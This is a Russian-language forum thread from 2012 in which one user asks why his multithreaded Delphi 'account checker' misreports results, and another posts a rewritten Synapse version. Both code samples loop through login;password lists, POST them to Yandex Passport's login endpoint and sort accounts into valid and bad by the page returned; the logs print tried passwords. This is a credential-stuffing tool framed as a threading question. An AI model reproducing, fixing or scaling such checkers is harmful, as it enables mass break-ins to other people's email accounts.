Регистрация Главная Сообщество
Сообщения за день Справка Регистрация
Навигация
Zhyk.org LIVE! Реклама на Zhyk.org Правила Форума Награды и достижения Доска "почета"

Почему так происходит [многопоточность]

-

Вопросы и ответы, обсуждения

- Ваши вопросы по Pascal/Delphi только в данном разделе

Ответ
 
Опции темы
Старый 11.10.2012, 18:26   #1
Заблокирован
 Пехотинец
Аватар для =PaLeTiZaToR=
 
=PaLeTiZaToR= троюродный дядя Чака Норриса=PaLeTiZaToR= троюродный дядя Чака Норриса=PaLeTiZaToR= троюродный дядя Чака Норриса=PaLeTiZaToR= троюродный дядя Чака Норриса=PaLeTiZaToR= троюродный дядя Чака Норриса=PaLeTiZaToR= троюродный дядя Чака Норриса=PaLeTiZaToR= троюродный дядя Чака Норриса=PaLeTiZaToR= троюродный дядя Чака Норриса=PaLeTiZaToR= троюродный дядя Чака Норриса=PaLeTiZaToR= троюродный дядя Чака Норриса=PaLeTiZaToR= троюродный дядя Чака Норриса
Регистрация: 02.04.2011
Сообщений: 66
Популярность: 9953
Сказал(а) спасибо: 898
Поблагодарили 412 раз(а) в 209 сообщениях
Отправить сообщение для =PaLeTiZaToR= с помощью Skype™
 
По умолчанию Почему так происходит [многопоточность]

Кто может обьяснить почему происходит то , что происходит у меня =)
Вот код потока
Код:
procedure TNewThread.Execute;
var CurAcc:integer;
    data:Tstringlist;
    HTTP: TIdHTTP;
begin


 while Work do
  begin
   CS.Enter;
   Inc(Acc);
   if Acc<Accounts.Count then CurAcc:=Acc else Work:=false;
   CS.Leave;

   if Work then
    begin
     FAcc:= Copy(Accounts[CurAcc],1,Pos(';',Accounts[CurAcc])-1);
     FPas:= Copy(Accounts[CurAcc],Pos(';',Accounts[CurAcc])+1,Length(Accounts[CurAcc]));
     form1.memo1.lines.add('Скопировали аккаунты , создаем запрос');

     data:=Tstringlist.create;
     data.Add('login='+facc);
     data.Add('passwd='+fpas);
     HTTP:=TIdHTTP.create;
     http.HandleRedirects:=true;
     HTTP.CookieManager:=form1.IdCookieManager1;


     Get:=http.post('http://pda-passport.yandex.ru/passport?mode=auth',data);
      rez:=-1;
       form1.memo1.lines.add('Выполнили запрос, REZ=-1'+' '+facc+';'+fpas);
     if pos('Персональные данные',GET) <> 0  then
     begin
     rez:=1;
     form1.memo1.lines.add('Зашли на почту , добавили валид');
     end

     else
     begin
     Rez:=-1;
     form1.memo1.lines.add('Ошибка, Не валид');
     end;
     HTTP.Free;
     data.Free;
     Synchronize(Sync);
     form1.memo1.lines.add('освободили , синхронизировали');
     form1.memo1.lines.add(' ');
    end;
  end;


 dec(Thread);
 if Thread=0 then ShowMessage('OK');
 form1.memo1.lines.add('Уничтожили потоки');
Если запускаем 1 поток - все хорошо и стабильно работает, а если 4-5 (и более соответственно) , то в Bad падает очень много валида...
Выписка из лога (При 5 потоках):

Код:
Скопировали аккаунты , создаем запрос
Скопировали аккаунты , создаем запрос
Скопировали аккаунты , создаем запрос
Скопировали аккаунты , создаем запрос
Скопировали аккаунты , создаем запрос
Выполнили запрос, REZ=-1 [Ссылки могут видеть только зарегистрированные пользователи. ];12345
Ошибка, Не валид
освободили , синхронизировали
 
Скопировали аккаунты , создаем запрос
Выполнили запрос, REZ=-1 [Ссылки могут видеть только зарегистрированные пользователи. ];210484
Ошибка, Не валид
Выполнили запрос, REZ=-1 [Ссылки могут видеть только зарегистрированные пользователи. ];19732002
освободили , синхронизировали
Ошибка, Не валид
 
Скопировали аккаунты , создаем запрос
освободили , синхронизировали
 
Скопировали аккаунты , создаем запрос
Выполнили запрос, REZ=-1 [Ссылки могут видеть только зарегистрированные пользователи. ];071161
Выполнили запрос, REZ=-1 [Ссылки могут видеть только зарегистрированные пользователи. ];180580
Зашли на почту , добавили валид
Зашли на почту , добавили валид
освободили , синхронизировали
освободили , синхронизировали
 
 
Скопировали аккаунты , создаем запрос
Уничтожили потоки
Выполнили запрос, REZ=-1 [Ссылки могут видеть только зарегистрированные пользователи. ];123454
Ошибка, Не валид
освободили , синхронизировали
 
Уничтожили потоки
Выполнили запрос, REZ=-1 [Ссылки могут видеть только зарегистрированные пользователи. ];071161
Ошибка, Не валид
освободили , синхронизировали
 
Уничтожили потоки
Выполнили запрос, REZ=-1 [Ссылки могут видеть только зарегистрированные пользователи. ];210484
Выполнили запрос, REZ=-1 [Ссылки могут видеть только зарегистрированные пользователи. ];123454
Зашли на почту , добавили валид
Ошибка, Не валид
освободили , синхронизировали
освободили , синхронизировали
 
 
Уничтожили потоки
А вот с 1го потока:
Код:
Скопировали аккаунты , создаем запрос
Выполнили запрос, REZ=-1 [Ссылки могут видеть только зарегистрированные пользователи. ];071161
Зашли на почту , добавили валид
освободили , синхронизировали
 
Скопировали аккаунты , создаем запрос
Выполнили запрос, REZ=-1 [Ссылки могут видеть только зарегистрированные пользователи. ];210484
Зашли на почту , добавили валид
освободили , синхронизировали
 
Скопировали аккаунты , создаем запрос
Выполнили запрос, REZ=-1 [Ссылки могут видеть только зарегистрированные пользователи. ];123454
Ошибка, Не валид
освободили , синхронизировали
 
Скопировали аккаунты , создаем запрос
Выполнили запрос, REZ=-1 [Ссылки могут видеть только зарегистрированные пользователи. ];12345
Ошибка, Не валид
освободили , синхронизировали
 
Скопировали аккаунты , создаем запрос
Выполнили запрос, REZ=-1 [Ссылки могут видеть только зарегистрированные пользователи. ];19732002
Зашли на почту , добавили валид
освободили , синхронизировали
 
Скопировали аккаунты , создаем запрос
Выполнили запрос, REZ=-1 [Ссылки могут видеть только зарегистрированные пользователи. ];180580
Зашли на почту , добавили валид
освободили , синхронизировали
 
Скопировали аккаунты , создаем запрос
Выполнили запрос, REZ=-1 [Ссылки могут видеть только зарегистрированные пользователи. ];071161
Зашли на почту , добавили валид
освободили , синхронизировали
 
Скопировали аккаунты , создаем запрос
Выполнили запрос, REZ=-1 [Ссылки могут видеть только зарегистрированные пользователи. ];210484
Зашли на почту , добавили валид
освободили , синхронизировали
 
Скопировали аккаунты , создаем запрос
Выполнили запрос, REZ=-1 [Ссылки могут видеть только зарегистрированные пользователи. ];123454
Ошибка, Не валид
освободили , синхронизировали
 
Уничтожили потоки
P.s пробывал зациклить, тоесть если бед то кидать в конец списка и прогонять еще раз... все получается но только НАСТОЯЩИЕ bad он продолжает крутить до бесконечности

Последний раз редактировалось =PaLeTiZaToR=; 11.10.2012 в 21:43.
  Ответить с цитированием
Пользователь сказал cпасибо:
[Na`Vi]DendI (11.10.2012)
Старый 14.10.2012, 19:45   #2
 Разведчик
Аватар для Tip.the.besT
 
Tip.the.besT на правильном путиTip.the.besT на правильном пути
Регистрация: 17.01.2012
Сообщений: 19
Популярность: 126
Сказал(а) спасибо: 8
Поблагодарили 30 раз(а) в 11 сообщениях
Отправить сообщение для Tip.the.besT с помощью ICQ Отправить сообщение для Tip.the.besT с помощью Skype™
 
По умолчанию Re: Почему так происходит [многопоточность]

Собственно как и обещал тебе, добавляю код на синапсе. Сам там порешишь куда тебе удобнее прочеканые акки складывать и сделаешь другие мелкие доработки. При таком построение кода должно быть всё нормально. Писал на коленке, так не исключены мелкие ошибки. Понеслась:


Код:
uses .... httpsend;
На кнопку запуска потоков незабываем:
Код:
work:=true;
Добавим свой поток и пару переменных(Logins содержит акки в виде логин;пароль и не забудем создать и подгрузить в него логины где нить):
Код:
potok = class(TThread)
  private
   login,pass:string;
  protected
    procedure Execute; override;
  public
    procedure add;
    proedure graf(const text:string);
    constructor Create(CreateSuspended: Boolean);
  end;

var
logins,password:tstringlist;
work:boolean;
logins:tstringlist.create;
Собственно пошёл код:
Код:
constructor potok.Create(CreateSuspended: Boolean);
begin
  inherited Create(CreateSuspended);
end;

procedure potok.add;
begin
if work=true then 
if logins[0]<>'' then begin
pass:=logins[0];
logins.delete(0);
login:=copy(pass,1,pos(';',pass)-1);
delete{pass,1,pos(';',pass));
end else begin 
work:=false;
showmessage('Баста');
end;
end;

procedure potok.graf(const text:string);
begin
form1.log.lines.add(text);
end;

procedure potok.Execute;
var
list:=tstringlist;
stream:=tstringstream;
http:=thttpsend;
s,ss:string;
begin
http:=thttpsend.create;
list:=tstringlist.create;
stream:=tstringstream.create('');

while work=true do begin
login:='';pass:='';
synchronize(add);
repeat
http.headers.clear;
http.document.clear;
list.clear;
stream.clear;
stream.writestring('login='+login+'&passwd='+pass);
http.document.loadfromstream(stream);
until http.httpmethod('POST','http://pda-passport.yandex.ru/passport?mode=auth');
list.loadfromstream(http.document); s:=utf8decode(list.text);

if pos('Персональные данные', s) <> 0  then begin
synchronize(graf('Получите, распишитесь - '+login+';'+pass));
end else begin
synchronize(graf('По бороде пошёл '+login);
end;
end;


list.free;
stream.free;
http.free;
end;
Добавлено через 10 минут
По поводу твоего кода, я не могу понять, зачем каждый раз создавать и удалять стринглист, индейца и прочее.

Как я говорил ранее критические секции не стоит использовать.

К любым объектам формы обращаться ТОЛЬКО ЧЕРЕЗ synchronize!

Код:
 dec(Thread);
Это полная фигня, опять же через синхронай надо уменьшать! Просто поток может загнуться и тогда эта надпись может вообще никогда не появится! Если и делать проверку, то нужно просто в массив добавлять при создание потоки. А потом проверять массив.

Последний раз редактировалось Tip.the.besT; 14.10.2012 в 19:56. Причина: Добавлено сообщение
  Ответить с цитированием
Ответ


Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход

Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[Помогите!] TRY EXCEPT МНОГОПОТОЧНОСТЬ [Na`Vi]DendI Вопросы и ответы, обсуждения 14 30.06.2012 08:45
C# Многопоточность thezoke C# 11 28.03.2012 00:55
[Руководство] Многопоточность C# xFroLx C# 22 03.03.2012 00:59
[Помогите!] Многопоточность =PaLeTiZaToR= Вопросы и ответы, обсуждения 2 08.01.2012 20:23

Заявление об ответственности / Список мошенников

Часовой пояс GMT +4, время: 05:13.

Пишите нам: forum@zhyk.ru
Copyright © 2025 vBulletin Solutions, Inc.
Translate: zCarot. Webdesign by DevArt (Fox)
G-gaMe! Team production | Since 2008
Hosted by GShost.net